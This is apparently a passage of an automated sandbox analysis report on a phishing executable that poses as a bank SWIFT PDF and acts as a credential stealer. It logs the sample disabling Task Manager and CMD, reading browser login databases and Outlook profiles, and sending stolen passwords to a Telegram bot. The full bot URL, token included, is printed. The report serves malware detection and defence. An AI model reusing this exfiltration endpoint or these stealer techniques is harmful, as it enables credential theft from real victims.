            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597343Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597234Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597125Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597015Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596906Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596797Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596687Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596578Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596468Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596359Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596250Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596140Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596031Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595922Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595812Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595703Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595593Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595484Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595374Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595265Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595156Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595047Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 594937Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 594828Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 594718Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 594609Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeWindow / User API: threadDelayed 8829Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeWindow / User API: threadDelayed 1026Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dllJump to dropped file
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeAPI coverage: 2.3 %
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -26747778906878833s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -600000s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -599890s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 2940Thread sleep count: 8829 > 30Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 2940Thread sleep count: 1026 > 30Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -599781s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -599672s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -599562s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -599453s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -599344s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -599219s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -599109s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -599000s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -598890s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -598781s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -598672s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -598562s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -598453s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -598344s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -598219s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -598109s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -598000s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -597890s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -597781s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -597671s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -597562s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -597453s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -597343s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -597234s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -597125s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -597015s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -596906s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -596797s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -596687s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -596578s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -596468s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -596359s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -596250s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -596140s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -596031s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -595922s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -595812s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -595703s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -595593s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -595484s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -595374s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -595265s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -595156s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -595047s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -594937s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -594828s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -594718s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe TID: 4148Thread sleep time: -594609s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405772
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_0040622D FindFirstFileW,FindClose,0_2_0040622D
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_00402770 FindFirstFileW,0_2_00402770
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_00402770 FindFirstFileW,4_2_00402770
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,4_2_00405772
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_0040622D FindFirstFileW,FindClose,4_2_0040622D
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599890Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599781Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599672Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599562Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599453Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599344Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599219Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599109Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 599000Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598890Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598781Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598672Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598562Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598453Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598344Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598219Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598109Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 598000Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597890Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597781Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597671Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597562Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597453Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597343Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597234Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597125Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 597015Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596906Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596797Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596687Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596578Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596468Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596359Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596250Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596140Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 596031Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595922Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595812Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595703Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595593Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595484Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595374Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595265Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595156Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 595047Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 594937Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 594828Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 594718Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeThread delayed: delay time: 594609Jump to behavior
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.0000000005131000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.0000000005131000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWH
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeAPI call chain: ExitProcess graph end nodegraph_0-4797
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeAPI call chain: ExitProcess graph end nodegraph_0-4799
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00406254
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeMemory allocated: page read and write | page guardJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeProcess created: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeQueries volume information: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_00405F0C GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,0_2_00405F0C
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Lowering of HIPS / PFW / Operating System Security Settings

            barindex
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeRegistry value created: DisableTaskMgr 1Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeRegistry value created: DisableCMD 1Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeRegistry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgrJump to behavior

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: Bank Swift and SOA PRN0072003410853_pdf.exe PID: 1292, type: MEMORYSTR
            Source: Yara matchFile source: 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: Bank Swift and SOA PRN0072003410853_pdf.exe PID: 1292, type: MEMORYSTR
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
            Source: Yara matchFile source: 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: Bank Swift and SOA PRN0072003410853_pdf.exe PID: 1292, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: Bank Swift and SOA PRN0072003410853_pdf.exe PID: 1292, type: MEMORYSTR
            Source: Yara matchFile source: 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: Bank Swift and SOA PRN0072003410853_pdf.exe PID: 1292, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
            Native API
            1
            DLL Side-Loading
            11
            Process Injection
            11
            Masquerading
            1
            OS Credential Dumping
            21
            Security Software Discovery
            Remote Services1
            Email Collection
            1
            Web Service
            Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
            DLL Side-Loading
            31
            Disable or Modify Tools
            LSASS Memory31
            Virtualization/Sandbox Evasion
            Remote Desktop Protocol1
            Archive Collected Data
            21
            Encrypted Channel
            Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)31
            Virtualization/Sandbox Evasion
            Security Account Manager1
            Application Window Discovery
            SMB/Windows Admin Shares1
            Data from Local System
            1
            Ingress Tool Transfer
            Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
            Process Injection
            NTDS1
            System Network Configuration Discovery
            Distributed Component Object Model1
            Clipboard Data
            3
            Non-Application Layer Protocol
            Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            Deobfuscate/Decode Files or Information
            LSA Secrets2
            File and Directory Discovery
            SSHKeylogging14
            Application Layer Protocol
            Scheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts3
            Obfuscated Files or Information
            Cached Domain Credentials215
            System Information Discovery
            VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
            DLL Side-Loading
            DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand
            SourceDetectionScannerLabelLink
            Bank Swift and SOA PRN0072003410853_pdf.exe5%ReversingLabs
            Bank Swift and SOA PRN0072003410853_pdf.exe100%AviraHEUR/AGEN.1337946
            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dll0%ReversingLabs
            No Antivirus matches
            No Antivirus matches
            No Antivirus matches
            NameIPActiveMaliciousAntivirus DetectionReputation
            drive.google.com
            172.217.19.174
            truefalse
              high
              drive.usercontent.google.com
              142.250.181.33
              truefalse
                high
                reallyfreegeoip.org
                172.67.177.134
                truefalse
                  high
                  api.telegram.org
                  149.154.167.220
                  truefalse
                    high
                    checkip.dyndns.com
                    193.122.130.0
                    truefalse
                      high
                      checkip.dyndns.org
                      unknown
                      unknownfalse
                        high
                        NameMaliciousAntivirus DetectionReputation
                        http://checkip.dyndns.org/false
                          high
                          https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228false
                            high
                            https://reallyfreegeoip.org/xml/8.46.123.228false
                              high
                              NameSourceMaliciousAntivirus DetectionReputation
                              https://www.google.comBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpfalse
                                high
                                https://api.telegram.orgBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035826000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003587D000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmpfalse
                                  high
